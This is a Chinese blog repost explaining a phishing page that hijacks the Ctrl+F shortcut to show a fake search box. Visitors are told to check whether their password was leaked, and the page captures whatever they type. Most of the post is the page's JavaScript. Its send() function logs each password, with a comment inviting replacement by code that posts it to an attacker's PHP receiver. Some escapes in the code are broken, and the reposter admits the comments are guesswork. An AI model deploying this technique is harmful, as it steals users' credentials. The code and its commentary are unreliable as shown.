最新消息:

浏览器搜索框劫持钓鱼

js代码 admin 1601浏览 0评论

浏览器搜索框劫持钓鱼

浏览器搜索框劫持钓鱼

浏览器搜索框劫持钓鱼

浏览器搜索框劫持钓鱼

http://h43z.koding.com/blog/leaked.html

如以上网站所显示,当你按下ctrl+f 或win+f  组合键是就会弹出一个搜索框其实这个所说框是黑客所伪造的。

攻击流程:当一名攻击者将一个精心构造的页面发给用户,谎称在这个页面查查你的密码是不是被泄露了。

当用户访问后按组合键呼出伪造的搜索框把自己真实的用户名密码输入进去,黑客完成攻击!

我们来解析一下代码分析工作原理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>//加载jquery 用于执行特效<script type="text/javascript" src="highlight.js"></script>                                                      //加载代码高亮
<script type="text/javascript">// <![CDATA[
/* nyan nyan */
    passwordlist = $("#passwords");     //定义数组
    counter = 0;
    /* format list */
    list = passwordlist.text().replace(/rn|r|n/g,"
");
    passwordlist.empty();
    passwordlist.html(list).show();
    $(window).keydown(function(evt){                //劫持按键
        if((evt.which == "70" && (evt.metaKey || evt.ctrlKey))){
            console.log("STRG+F");
            evt.preventDefault();
            $("#searchbox").slideDown(110);
            $('#search').focus();
        }
    });
    $("#search").keyup(function(e){                     //记录你写了点啥,顺便高亮显示出来,忽悠你让你以为密码没有泄露
        input = this.value;
        send(input);                                    //发生密码
        if(this.value == ""){
            $("#searchresult").empty();
            passwordlist.removeHighlight();
        }else{
            passwordlist.removeHighlight().highlight(input);
            count = $('.highlight').length;
            if(count == 0){ /* password is not in the list */
                insert_fake(input);
                count = 1;
            }else{
                $('html,body').animate({scrollTop:$(".highlight").offset().top-300}, 1);
            }
            /* : ( , this sucks */
            var r1 = Math.round(Math.random() * 138);
            var r2 = Math.round((Math.random() * count)+138+r1);
            $("#searchresult").text(r1+" of "+ r2);
        }
    });
    function insert_fake(input){
        var pass_array = passwordlist.html().split("
");
        var position = Math.round(Math.random() * (pass_array.length-1));
        passwordlist.empty();
        for(var i=0;i<pass_array.length;i++){
            if(i == position){
                var l = pass_array[position].length;
                var r1 = Math.floor(Math.random()*(l-1));
                var old = pass_array[position].replace(/<(?:.|n)*?>/gm, '');
                var fakepass = old.slice(0, r1) + input + old.slice(r1);
                /* this, too*/
                passwordlist.append("<a id="+counter+">"+fakepass+"</a>");
                $('html,body').animate({scrollTop:$("#"+counter).offset().top-300}, 1);
            }else{
                passwordlist.append(pass_array[i]);
            }
            if(i < pass_array.length - 1){               passwordlist.append(" ");           }       }       passwordlist.removeHighlight().highlight(input);            counter++;  }   $("#searchbox").click(function(e){          $("#searchbox").slideUp(110);       passwordlist.removeHighlight();     });     function send(pass){                //记录密码      /* save serverside <img old_height="16" old_width="20" src="http://www.dis9.com/wp-content/themes/dis9/images/smilies/icon_biggrin.gif" alt=":D">  */         console.log("$$$: "+pass);      //这里可以改为你的攻击代码,比如接收密码的php文件!    }
// ]]></script>

小编:我真心不懂js 只是靠意念注释了这段代码,大家将就看吧。sorry

 

转自:http://www.dis9.com/2013/19.html

转载请注明:jinglingshu的博客 » 浏览器搜索框劫持钓鱼

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址